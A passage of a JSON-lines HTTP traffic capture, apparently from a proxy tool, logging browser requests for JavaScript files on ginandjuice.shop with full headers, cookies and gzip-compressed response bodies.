d@\\ufffd\\u0019\\ufffd\\u000bvdcm*\\ufffd\\u0003PJ\\u0002\\u001b\\ufffdߝ\\ufffd\\ufffdf\\ufffd*T\\ufffd\\ufffd\\u003ec\\ufffd3\\ufffd\\u0001MS\\ufffdy\\ufffd\\ufffd\\ufffdJi\\td\\ufffdWN\\ufffdΰ\\ufffd\\u0017\\ufffdR\\ufffd\\ufffd\\ufffd\\n\\u001bє\\ufffd5#ڪ\\ufffd2݂g\\ufffd\\r\\ufffd\\ufffdTVG\\ufffd\\ufffd4\\ufffd1\\ufffd\\ufffdb\\ufffd\\ufffdN=غL%\\ufffd\\u000ePo\\ufffd\\ufffd\\ufffdX\\ufffd\\u000b2\\ufffd\\ufffdH\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u0017\\rN\\u0007C4\\u0001\\ufffd[\\ufffd\\ufffd\\ufffde\\ufffd\\ufffd0\\ufffd\\ufffdn\\ufffd\\u001af[̴\\ufffd:\\ufffd\\ufffdϩuH`\\ufffd\\ufffd\\u0003ܒ\\ufffd\\ufffd\\ufffd\\u000cZ\\ufffdbV\\u0019K\\ufffdÎ^\\ufffd\\ufffd|жx\\ufffdV\\ufffd\\ufffdb\\ufffd\\ufffdZMm\\ufffd\\ufffd\\u0017\\ufffd\\ufffd\\ufffd\\ufffd֍\\ufffd\\ufffdc\\ufffdwj\\ufffdL;\\ufffd\\ufffd\\ufffd\\ufffd]\\ufffd\\u0014N%\\u001e,\\ufffdo\\ufffdl\\ufffd\\ufffd\\u0017\\ufffd\\u001fZ\\ufffdMaw,\\u0000\\u0000\",\"raw\":\"HTTP/1.1 200 OK\\r\\nConnection: close\\r\\nContent-Length: 2461\\r\\nContent-Encoding: gzip\\r\\nContent-Type: text/html; charset=utf-8\\r\\nDate: Thu, 07 Sep 2023 15:33:43 GMT\\r\\nSet-Cookie: AWSALB=Bw29bzxm1ZFCqwAsdTUat6udxhYzHJE8Aw2bx6njc30OZmjrKCbp0DgE11GbzOh9pBT4AdR8D0cQN23zLa91oF0u5g/d1YCSaToyLqB6++toCM6Ie1Xj8dPErU8g; Expires=Thu, 14 Sep 2023 15:33:43 GMT; Path=/\\r\\nSet-Cookie: AWSALBCORS=Bw29bzxm1ZFCqwAsdTUat6udxhYzHJE8Aw2bx6njc30OZmjrKCbp0DgE11GbzOh9pBT4AdR8D0cQN23zLa91oF0u5g/d1YCSaToyLqB6++toCM6Ie1Xj8dPErU8g; Expires=Thu, 14 Sep 2023 15:33:43 GMT; Path=/; SameSite=None; Secure\\r\\nX-Backend: ecfca00b-5a9e-4a89-91bd-de41ecbc4611\\r\\nX-Frame-Options: SAMEORIGIN\\r\\n\\r\\n\"}}\n{\"timestamp\":\"2023-09-07T21:03:46+05:30\",\"url\":\"https://ginandjuice.shop/resources/js/stockCheck.js\",\"request\":{\"header\":{\"Accept\":\"*/*\",\"Accept-Encoding\":\"gzip, deflate, br\",\"Accept-Language\":\"en-US,en;q=0.9,hi;q=0.8\",\"Connection\":\"close\",\"Cookie\":\"TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=Bw29bzxm1ZFCqwAsdTUat6udxhYzHJE8Aw2bx6njc30OZmjrKCbp0DgE11GbzOh9pBT4AdR8D0cQN23zLa91oF0u5g/d1YCSaToyLqB6++toCM6Ie1Xj8dPErU8g; AWSALBCORS=Bw29bzxm1ZFCqwAsdTUat6udxhYzHJE8Aw2bx6njc30OZmjrKCbp0DgE11GbzOh9pBT4AdR8D0cQN23zLa91oF0u5g/d1YCSaToyLqB6++toCM6Ie1Xj8dPErU8g\",\"Referer\":\"https://ginandjuice.shop/catalog/product?productId=1\",\"Sec-Ch-Ua\":\"\\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\",\"Sec-Ch-Ua-Mobile\":\"?0\",\"Sec-Ch-Ua-Platform\":\"\\\"macOS\\\"\",\"Sec-Fetch-Dest\":\"script\",\"Sec-Fetch-Mode\":\"no-cors\",\"Sec-Fetch-Site\":\"same-origin\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"host\":\"ginandjuice.shop\",\"method\":\"GET\",\"path\":\"/resources/js/stockCheck.js\",\"scheme\":\"https\"},\"raw\":\"GET /resources/js/stockCheck.js HTTP/1.1\\r\\nHost: ginandjuice.shop\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nAccept-Language: en-US,en;q=0.9,hi;q=0.8\\r\\nConnection: close\\r\\nCookie: TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=Bw29bzxm1ZFCqwAsdTUat6udxhYzHJE8Aw2bx6njc30OZmjrKCbp0DgE11GbzOh9pBT4AdR8D0cQN23zLa91oF0u5g/d1YCSaToyLqB6++toCM6Ie1Xj8dPErU8g; AWSALBCORS=Bw29bzxm1ZFCqwAsdTUat6udxhYzHJE8Aw2bx6njc30OZmjrKCbp0DgE11GbzOh9pBT4AdR8D0cQN23zLa91oF0u5g/d1YCSaToyLqB6++toCM6Ie1Xj8dPErU8g\\r\\nReferer: https://ginandjuice.shop/catalog/product?productId=1\\r\\nSec-Ch-Ua: \\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\\r\\nSec-Ch-Ua-Mobile: ?0\\r\\nSec-Ch-Ua-Platform: \\\"macOS\\\"\\r\\nSec-Fetch-Dest: script\\r\\nSec-Fetch-Mode: no-cors\\r\\nSec-Fetch-Site: same-origin\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\r\\n\\r\\n\"},\"response\":{\"header\":{\"Cache-Control\":\"public, max-age=3600\",\"Content-Encoding\":\"gzip\",\"Content-Length\":\"420\",\"Content-Type\":\"application/javascript; charset=utf-8\",\"Date\":\"Thu, 07 Sep 2023 15:33:46 GMT\",\"Set-Cookie\":\"AWSALB=30LBKfbh2Lt0gdYEB/KlscXoCMozAKMWv5H8QdDbvd2tyRAQtUSxv6TIpUDkNZjWUApcBBe5s3QgdnwKvYJdI5qhmWtR1ZZu5JLJR+b2ysTEDXFnAafJVsgArarg; Expires=Thu, 14 Sep 2023 15:33:46 GMT; Path=/, AWSALBCORS=30LBKfbh2Lt0gdYEB/KlscXoCMozAKMWv5H8QdDbvd2tyRAQtUSxv6TIpUDkNZjWUApcBBe5s3QgdnwKvYJdI5qhmWtR1ZZu5JLJR+b2ysTEDXFnAafJVsgArarg; Expires=Thu, 14 Sep 2023 15:33:46 GMT; Path=/; SameSite=None; Secure\",\"X-Backend\":\"ecfca00b-5a9e-4a89-91bd-de41ecbc4611\",\"X-Frame-Options\":\"SAMEORIGIN\"},\"body\":\"\\u001f\\ufffd\\u0008\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\ufffd\\ufffdR\\ufffdn\\ufffd0\\u000c\\ufffd\\ufffd+8]*\\ufffd\\ufffd\\ufffdm7\\u0017n\\ufffd\\ufffd\\u001d6\\ufffd\\ufffda\\ufffd\\u000f(\\u00163\\u000bu\\ufffd\\ufffd\\ufffd\\ufffd\\u0019A\\ufffd}\\ufffd\\ufffd\\u0006uS\\ufffd\\u0004\\u000cX\\ufffd\\ufffd\\ufffd\\u0013\\ufffdlh\\ufffd\\u001a=\\ufffd\\ufffd\\ufffdn:\\ufffd߯\\ufffd\\u000f\\ufffdU\\ufffd\\ufffd\\u003c.Zl\\u001e\\ufffd\\ufffd~\\ufffd\\ufffd\\ufffdX{\\ufffd\\ufffdӷ.\\u0012z\\ufffd\\ufffd$-׎\\ufffd\\u000cV\\ufffd7\\ufffd\\ufffd\\ufffdX\\ufffd\\ufffd\\u00048\\u001ai\\ufffd\\u0017\\nM\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdw\\ufffdD\\ufffd\\ufffd\\u001a\\ufffd\\rV\\u00153x%i2\\ufffd$=nA\\ufffd_\\u001b2\\ufffd\\ufffd(.2;\\ufffd\\ufffd\\u001eE\\ufffd5\\ufffdL\\ufffdH3\\ufffd\\ufffd\\ufffd\\ufffdI\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\u0019l\\u000c\\ufffd3\\ufffd\\ufffdu\\u0010\\u0019|$\\ufffd\\ufffd\\ufffd\\u0001jЬ\\u0000c\\u0001\\ufffd%\\ufffd?\\ufffdk\\ufffd\\ufffd:\\ufffd+\\ufffd\\ufffd\\ufffd\\u000e\\ufffd\\nVHM\\ufffd\\u000f\\ufffdD\\ufffd0Av\\ufffd\\ufffd\\ufffd5Gx\\ufffd\\ufffdb\\u001f+\\ufffd\\ufffd\\ufffd\\\"x\\ufffd0\\ufffd?\\u000c\\u001b\\u003c\\ufffd`\\ufffd\\ufffd\\r۲\\u0019Q\\u0001aL\\ufffd\\u000cv\\ufffdX\\ufffd\\ufffd\\u0005cu\\ufffd\\ufffd\\ufffdf\\ufffd\\ufffd4͔Ԣ׽\\ufffd\\ufffd\\ufffd\\ufffd\\u0011\\ufffdH\\ufffd\\ufffdܿ\\ufffdO\\ufffd\\ufffdѤ\\ufffd\\\\D\\ufffd\\ufffd\\ufffd\\u003e\\ufffd\\ufffdt\\ufffdxg\\ufffd4\\u0015\\ufffd'\\ufffd\\u000f\\ufffd\\u0019(H\\ufffdQT\\ufffd\\u0011G\\u0005j\\u0011Rg\\ufffd\\u0007\\u001aW\\t\\ufffdp\\ufffd\\ufffd\\ufffdv\\ufffd\\ufffd\\ufffdt\\ufffd\\ufffd׾\\ufffd\\ufffd_\\u0018\\ufffd#\\ufffd`\\ufffdٶ\\ufffd\\u001f~\\ufffd\\ufffdks\\ufffd\\u000b\\ufffd\\ufffdȃ\\ufffd\\ufffd\\u0004\\ufffd\\ufffd\\ufffd\\u00078\\ufffd\\ufffdb\\ufffd\\\\;\\ufffd\\ufffd\\ufffdm\\ufffd\\u0000\\ufffd\\u000e\\u001b\\ufffd8\\u0003\\u0000\\u0000\",\"raw\":\"HTTP/1.1 200 OK\\r\\nConnection: close\\r\\nContent-Length: 420\\r\\nCache-Control: public, max-age=3600\\r\\nContent-Encoding: gzip\\r\\nContent-Type: application/javascript; charset=utf-8\\r\\nDate: Thu, 07 Sep 2023 15:33:46 GMT\\r\\nSet-Cookie: AWSALB=30LBKfbh2Lt0gdYEB/KlscXoCMozAKMWv5H8QdDbvd2tyRAQtUSxv6TIpUDkNZjWUApcBBe5s3QgdnwKvYJdI5qhmWtR1ZZu5JLJR+b2ysTEDXFnAafJVsgArarg; Expires=Thu, 14 Sep 2023 15:33:46 GMT; Path=/\\r\\nSet-Cookie: AWSALBCORS=30LBKfbh2Lt0gdYEB/KlscXoCMozAKMWv5H8QdDbvd2tyRAQtUSxv6TIpUDkNZjWUApcBBe5s3QgdnwKvYJdI5qhmWtR1ZZu5JLJR+b2ysTEDXFnAafJVsgArarg; Expires=Thu, 14 Sep 2023 15:33:46 GMT; Path=/; SameSite=None; Secure\\r\\nX-Backend: ecfca00b-5a9e-4a89-91bd-de41ecbc4611\\r\\nX-Frame-Options: SAMEORIGIN\\r\\n\\r\\n\"}}\n{\"timestamp\":\"2023-09-07T21:03:46+05:30\",\"url\":\"https://ginandjuice.shop/resources/js/xmlStockCheckPayload.js\",\"request\":{\"header\":{\"Accept\":\"*/*\",\"Accept-Encoding\":\"gzip, deflate, br\",\"Accept-Language\":\"en-US,en;q=0.9,hi;q=0.8\",\"Connection\":\"close\",\"Cookie\":\"TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=Bw29bzxm1ZFCqwAsdTUat6udxhYzHJE8Aw2bx6njc30OZmjrKCbp0DgE11GbzOh9pBT4AdR8D0cQN23zLa91oF0u5g/d1YCSaToyLqB6++toCM6Ie1Xj8dPErU8g; AWSALBCORS=Bw29bzxm1ZFCqwAsdTUat6udxhYzHJE8Aw2bx6njc30OZmjrKCbp0DgE11GbzOh9pBT4AdR8D0cQN23zLa91oF0u5g/d1YCSaToyLqB6++toCM6Ie1Xj8dPErU8g\",\"Referer\":\"https://ginandjuice.shop/catalog/product?productId=1\",\"Sec-Ch-Ua\":\"\\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\",\"Sec-Ch-Ua-Mobile\":\"?0\",\"Sec-Ch-Ua-Platform\":\"\\\"macOS\\\"\",\"Sec-Fetch-Dest\":\"script\",\"Sec-Fetch-Mode\":\"no-cors\",\"Sec-Fetch-Site\":\"same-origin\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"host\":\"ginandjuice.shop\",\"method\":\"GET\",\"path\":\"/resources/js/xmlStockCheckPayload.js\",\"scheme\":\"https\"},\"raw\":\"GET /resources/js/xmlStockCheckPayload.js HTTP/1.1\\r\\nHost: ginandjuice.shop\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nAccept-Language: en-US,en;q=0.9,hi;q=0.8\\r\\nConnection: close\\r\\nCookie: TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=Bw29bzxm1ZFCqwAsdTUat6udxhYzHJE8Aw2bx6njc30OZmjrKCbp0DgE11GbzOh9pBT4AdR8D0cQN23zLa91oF0u5g/d1YCSaToyLqB6++toCM6Ie1Xj8dPErU8g; AWSALBCORS=Bw29bzxm1ZFCqwAsdTUat6udxhYzHJE8Aw2bx6njc30OZmjrKCbp0DgE11GbzOh9pBT4AdR8D0cQN23zLa91oF0u5g/d1YCSaToyLqB6++toCM6Ie1Xj8dPErU8g\\r\\nReferer: https://ginandjuice.shop/catalog/product?productId=1\\r\\nSec-Ch-Ua: \\\"Chromium\\\";v=\\\"116\\\", \\\"Not)A;Brand\\\";v=\\\"24\\\", \\\"Google Chrome\\\";v=\\\"116\\\"\\r\\nSec-Ch-Ua-Mobile: ?0\\r\\nSec-Ch-Ua-Platform: \\\"macOS\\\"\\r\\nSec-Fetch-Dest: script\\r\\nSec-Fetch-Mode: no-cors\\r\\nSec-Fetch-Site: same-origin\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\r\\n\\r\\n\"},\"response\":{\"header\":{\"Cache-Control\":\"public, max-age=3600\",\"Content-Encoding\":\"gzip\",\"Content-Length\":\"230\",\"Content-Type\":\"application/javascript; charset=utf-8\",\"Date\":\"Thu, 07 Sep 2023 15:33:46 GMT\",\"Set-Cookie\":\"AWSALB=FIbJDpsPHxD3iVXrbXy2p7UvQ9uAlbRSlw874/GWrsFNOxfbOd0u7+85vW0SZs9YGmUcYmxZmmOgurXrLi0df6YnHYB3ewMFh94Jk5QX+F+cQRPIP+zU0iZTIiE+; Expires=Thu, 14 Sep 2023 15:33:46 GMT; Path=/, AWSALBCORS=FIbJDpsPHxD3iVXrbXy2p7UvQ9uAlbRSlw874/GWrsFNOxfbOd0u7+85vW0SZs9YGmUcYmxZmmOgurXrLi0df6YnHYB3ewMFh94Jk5QX+F+cQRPIP+zU0iZTIiE+; Expires=Thu, 14 Sep 2023 15:33:46 GMT; Path=/; SameSite=None; Secure\",\"X-Backend\":\"ecfca00b-5a9e-4a89-91bd-de41ecbc4611\",\"X-Frame-Options\":\"SAMEORIGIN\"},\"body\":\"\\u001f\\ufffd\\u0008\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\ufffdU\\ufffd͎\\ufffd0\\u0010\\ufffd\\ufffd}\\ufffd\\t\\u00170dAo\\ufffd z\\ufffd\\ufffd'Г\\ufffd0)\\ufffdn\\u0003\\ufffdM)(1\\ufffd\\ufffd\\u001d]\\u000e\\ufffd\\ufffdL~\\ufffd\\ufffd\\ufffd)ݘ[!\\ufffd\\ufffd\\ufffd\\ufffdq\\ufffd\\u00045\\ufffdhm\\ufffd$zety\\ufffd\\ufffdi%D;j\\ufffd7X\\ufffd{\\ufffdM֠\\ufffd\\u0015\\u003c\\u0004\\ufffd\\ufffd\\ufffdAбu\\ufffd\\ufffde\\\"7\\u0004q\\ufffdl\\ufffdu\\u0002\\ufffd\\ufffdi\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdw!\\ufffd},\\ufffd\\ufffd4x#\\ufffd\\ufffd?\\ufffd\\u001d\\ufffd7k\\ufffd\\ufffd8עr`Z\\ufffd\\ufffd\\\"\\ufffd\\ufffd\\u0014\\r\\ufffdji^\\ufffd;\\ufffdC;k\\ufffd\\ufffdK\\u0015\\ufffd\\t\\ufffd\\ufffd\\u0016\\ufffd\\ufffd\\ufffd\\ufffdG\\ufffd)\\ufffd\\ufffd\\ufffd\\u001c\\ufffd\\u001d\\ufffd\\u001fK\\ufffd\\ufffde\\ufffd\\u003e\\ufffdO\\u0011?_\\ufffd\\ufffd3s\\ufffdG\\ufffdYR\\ufffd\\ufffd\\u000b\\ufffd\\ufffd\\ufffd\\ufffdd\\u0001\\u0000\\u0000\",\"raw\":\"HTTP/1.1 200 OK\\r\\nConnection: close\\r\\nContent-Length: 230\\r\\nCache-Control: public, max-age=3600\\r\\nContent-Encoding: gzip\\r\\nContent-Type: application/javascript; charset=utf-8\\r\\nDate: Thu, 07 Sep 2023 15:33:46 GMT\\r\\nSet-Cookie: AWSALB=FIbJDpsPHxD3iVXrbXy2p7UvQ9uAlbRSlw874/GWrsFNOxfbOd0u7+85vW0SZs9YGmUcYmxZmmOgurXrLi0df6YnHYB3ewMFh94Jk5QX+F+cQRPIP+zU0iZTIiE+; Expires=Thu, 14 Sep 2023 15:33:46 GMT; Path=/\\r\\nSet-Cookie: AWSALBCORS=FIbJDpsPHxD3iVXrbXy2p7UvQ9uAlbRSlw874/GWrsFNOxfbOd0u7+85vW0SZs9YGmUcYmxZmmOgurXrLi0df6YnHYB3ewMFh94Jk5QX+F+cQRPIP+zU0iZTIiE+; Expires=Thu, 14 Sep 2023 15:33:46 GMT; Path=/; SameSite=None; Secure\\r\\nX-Backend: ecfca00b-5a9e-4a89-91bd-de41ecbc4611\\r\\nX-Frame-Options: SAMEORIGIN\\r\\n\\r\\n\"}}\n{\"timestamp\":\"2023-09-07T21:03:46+05:30\",\"url\":\"https://ginandjuice.shop/resources/js/xmlStockCheckPayload.js\",\"request\":{\"header\":{\"Accept\":\"*/*\",\"Accept-Encoding\":\"gzip, deflate, br\",\"Accept-Language\":\"en-US,en;q=0.9,hi;q=0.8\",\"Connection\":\"close\",\"Cookie\":\"TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=FIbJDpsPHxD3iVXrbXy2p7UvQ9uAlbRSlw874/GWrsFNOxfbOd0u7+85vW0SZs9YGmUcYmxZmmOgurXrLi0df6YnHYB3ewMFh94Jk5QX+F+cQRPIP+zU0iZTIiE+; AWSALBCORS=FIbJDpsPHxD3iVXrbXy2p7UvQ9uAlbRSlw874/GWrsFNOxfbOd0u7+85vW0SZs9YGmUcYmxZmmOgurXrLi0df6YnHYB3ewMFh94Jk5QX+F+cQRPIP+zU0iZTIiE+\",\"Sec-Fetch-Dest\":\"empty\",\"Sec-Fetch-Mode\":\"cors\",\"Sec-Fetch-Site\":\"none\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"host\":\"ginandjuice.shop\",\"method\":\"GET\",\"path\":\"/resources/js/xmlStockCheckPayload.js\",\"scheme\":\"https\"},\"raw\":\"GET /resources/js/xmlStockCheckPayload.js HTTP/1.1\\r\\nHost: ginandjuice.shop\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nAccept-Language: en-US,en;q=0.9,hi;q=0.8\\r\\nConnection: close\\r\\nCookie: TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=FIbJDpsPHxD3iVXrbXy2p7UvQ9uAlbRSlw874/GWrsFNOxfbOd0u7+85vW0SZs9YGmUcYmxZmmOgurXrLi0df6YnHYB3ewMFh94Jk5QX+F+cQRPIP+zU0iZTIiE+; AWSALBCORS=FIbJDpsPHxD3iVXrbXy2p7UvQ9uAlbRSlw874/GWrsFNOxfbOd0u7+85vW0SZs9YGmUcYmxZmmOgurXrLi0df6YnHYB3ewMFh94Jk5QX+F+cQRPIP+zU0iZTIiE+\\r\\nSec-Fetch-Dest: empty\\r\\nSec-Fetch-Mode: cors\\r\\nSec-Fetch-Site: none\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\r\\n\\r\\n\"},\"response\":{\"header\":{\"Cache-Control\":\"public, max-age=3600\",\"Content-Encoding\":\"gzip\",\"Content-Length\":\"230\",\"Content-Type\":\"application/javascript; charset=utf-8\",\"Date\":\"Thu, 07 Sep 2023 15:33:47 GMT\",\"Set-Cookie\":\"AWSALB=Og/rMkIG6TdnxmKZZY/dHf/nbCJoVtem7Xf2gR2asoHlHQ4cRDVDhCHAELX8TKOz9FBJ38LxoNlB7BQHKwTbaHIhExVtj6B34UaUrguamGInLdvBYBiSoYTHu7x3; Expires=Thu, 14 Sep 2023 15:33:47 GMT; Path=/, AWSALBCORS=Og/rMkIG6TdnxmKZZY/dHf/nbCJoVtem7Xf2gR2asoHlHQ4cRDVDhCHAELX8TKOz9FBJ38LxoNlB7BQHKwTbaHIhExVtj6B34UaUrguamGInLdvBYBiSoYTHu7x3; Expires=Thu, 14 Sep 2023 15:33:47 GMT; Path=/; SameSite=None; Secure\",\"X-Backend\":\"ecfca00b-5a9e-4a89-91bd-de41ecbc4611\",\"X-Frame-Options\":\"SAMEORIGIN\"},\"body\":\"\\u001f\\ufffd\\u0008\\u0000\\u0000\\u0000\\u0000\\u0000\\u0000\\ufffdU\\ufffd͎\\ufffd0\\u0010\\ufffd\\ufffd}\\ufffd\\t\\u00170dAo\\ufffd z\\ufffd\\ufffd'Г\\ufffd0)\\ufffdn\\u0003\\ufffdM)(1\\ufffd\\ufffd\\u001d]\\u000e\\ufffd\\ufffdL~\\ufffd\\ufffd\\ufffd)ݘ[!\\ufffd\\ufffd\\ufffd\\ufffdq\\ufffd\\u00045\\ufffdhm\\ufffd$zety\\ufffd\\ufffdi%D;j\\ufffd7X\\ufffd{\\ufffdM֠\\ufffd\\u0015\\u003c\\u0004\\ufffd\\ufffd\\ufffdAбu\\ufffd\\ufffde\\\"7\\u0004q\\ufffdl\\ufffdu\\u0002\\ufffd\\ufffdi\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffd\\ufffdw!\\ufffd},\\ufffd\\ufffd4x#\\ufffd\\ufffd?\\ufffd\\u001d\\ufffd7k\\ufffd\\ufffd8עr`Z\\ufffd\\ufffd\\\"\\ufffd\\ufffd\\u0014\\r\\ufffdji^\\ufffd;\\ufffdC;k\\ufffd\\ufffdK\\u0015\\ufffd\\t\\ufffd\\ufffd\\u0016\\ufffd\\ufffd\\ufffd\\ufffdG\\ufffd)\\ufffd\\ufffd\\ufffd\\u001c\\ufffd\\u001d\\ufffd\\u001fK\\ufffd\\ufffde\\ufffd\\u003e\\ufffdO\\u0011?_\\ufffd\\ufffd3s\\ufffdG\\ufffdYR\\ufffd\\ufffd\\u000b\\ufffd\\ufffd\\ufffd\\ufffdd\\u0001\\u0000\\u0000\",\"raw\":\"HTTP/1.1 200 OK\\r\\nConnection: close\\r\\nContent-Length: 230\\r\\nCache-Control: public, max-age=3600\\r\\nContent-Encoding: gzip\\r\\nContent-Type: application/javascript; charset=utf-8\\r\\nDate: Thu, 07 Sep 2023 15:33:47 GMT\\r\\nSet-Cookie: AWSALB=Og/rMkIG6TdnxmKZZY/dHf/nbCJoVtem7Xf2gR2asoHlHQ4cRDVDhCHAELX8TKOz9FBJ38LxoNlB7BQHKwTbaHIhExVtj6B34UaUrguamGInLdvBYBiSoYTHu7x3; Expires=Thu, 14 Sep 2023 15:33:47 GMT; Path=/\\r\\nSet-Cookie: AWSALBCORS=Og/rMkIG6TdnxmKZZY/dHf/nbCJoVtem7Xf2gR2asoHlHQ4cRDVDhCHAELX8TKOz9FBJ38LxoNlB7BQHKwTbaHIhExVtj6B34UaUrguamGInLdvBYBiSoYTHu7x3; Expires=Thu, 14 Sep 2023 15:33:47 GMT; Path=/; SameSite=None; Secure\\r\\nX-Backend: ecfca00b-5a9e-4a89-91bd-de41ecbc4611\\r\\nX-Frame-Options: SAMEORIGIN\\r\\n\\r\\n\"}}\n{\"timestamp\":\"2023-09-07T21:03:46+05:30\",\"url\":\"https://ginandjuice.shop/resources/js/stockCheck.js\",\"request\":{\"header\":{\"Accept\":\"*/*\",\"Accept-Encoding\":\"gzip, deflate, br\",\"Accept-Language\":\"en-US,en;q=0.9,hi;q=0.8\",\"Connection\":\"close\",\"Cookie\":\"TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=30LBKfbh2Lt0gdYEB/KlscXoCMozAKMWv5H8QdDbvd2tyRAQtUSxv6TIpUDkNZjWUApcBBe5s3QgdnwKvYJdI5qhmWtR1ZZu5JLJR+b2ysTEDXFnAafJVsgArarg; AWSALBCORS=30LBKfbh2Lt0gdYEB/KlscXoCMozAKMWv5H8QdDbvd2tyRAQtUSxv6TIpUDkNZjWUApcBBe5s3QgdnwKvYJdI5qhmWtR1ZZu5JLJR+b2ysTEDXFnAafJVsgArarg\",\"Sec-Fetch-Dest\":\"empty\",\"Sec-Fetch-Mode\":\"cors\",\"Sec-Fetch-Site\":\"none\",\"User-Agent\":\"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\",\"host\":\"ginandjuice.shop\",\"method\":\"GET\",\"path\":\"/resources/js/stockCheck.js\",\"scheme\":\"https\"},\"raw\":\"GET /resources/js/stockCheck.js HTTP/1.1\\r\\nHost: ginandjuice.shop\\r\\nAccept: */*\\r\\nAccept-Encoding: gzip, deflate, br\\r\\nAccept-Language: en-US,en;q=0.9,hi;q=0.8\\r\\nConnection: close\\r\\nCookie: TrackingId=eyJ0eXBlIjoiY2xhc3MiLCJ2YWx1ZSI6InkyRTQ5UzdBNFdiWUVDZEYifQ==; session=rXVoplR77zJ2sMgzZWa5Cp5X2y0YMzSK; AWSALB=30LBKfbh2Lt0gdYEB/KlscXoCMozAKMWv5H8QdDbvd2tyRAQtUSxv6TIpUDkNZjWUApcBBe5s3QgdnwKvYJdI5qhmWtR1ZZu5JLJR+b2ysTEDXFnAafJVsgArarg; AWSALBCORS=30LBKfbh2Lt0gdYEB/KlscXoCMozAKMWv5H8QdDbvd2tyRAQtUSxv6TIpUDkNZjWUApcBBe5s3QgdnwKvYJdI5qhmWtR1ZZu5JLJR+b2ysTEDXFnAafJVsgArarg\\r\\nSec-Fetch-Dest: empty\\r\\nSec-Fetch-Mode: cors\\r\\nSec-Fetch-Site: none\\r\\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36\\r\\n\\r\\n\"},\"response\":{\"header\":{\"Cache-Control\":\"public, max-age=3600\",\"Content-Encoding\":\"gzip\",\"Content-Length\":\"420\",\"Content-Type\":\"application/javascript; charset=utf-8\",\"Date\":\"Thu, 07 Sep 2023 15:33:47 GMT\",\"Set-Cookie\":\"AWSALB=SPTiMN+mfMtStgumCVLwgd1VcPfrsYrAnqZCYHHQ7TRAPgUCdr/rOizYyvCKNzNUwzB293sDNclHBUdj6U5My2LYYFltNmVa4PiV/kqZAshwIro9uPCI5+IPobxn; Expires=Thu, 14 Sep 2023 15:33:47 GMT; Path=/, AWSALBCORS=SPTiMN+mfMtStgumCVLwgd1VcPfrsYrAnqZCYHHQ7TRAPgUCdr/rOizYyvCKNzNUwzB293sDNclHBUdj6U5My2LYYFltNmVa4PiV/kqZAshwIro9uPCI5+IPobxn; Expires=Thu, 14 Sep 2023 15:33:47 GMT; Path=/; SameSite=None; 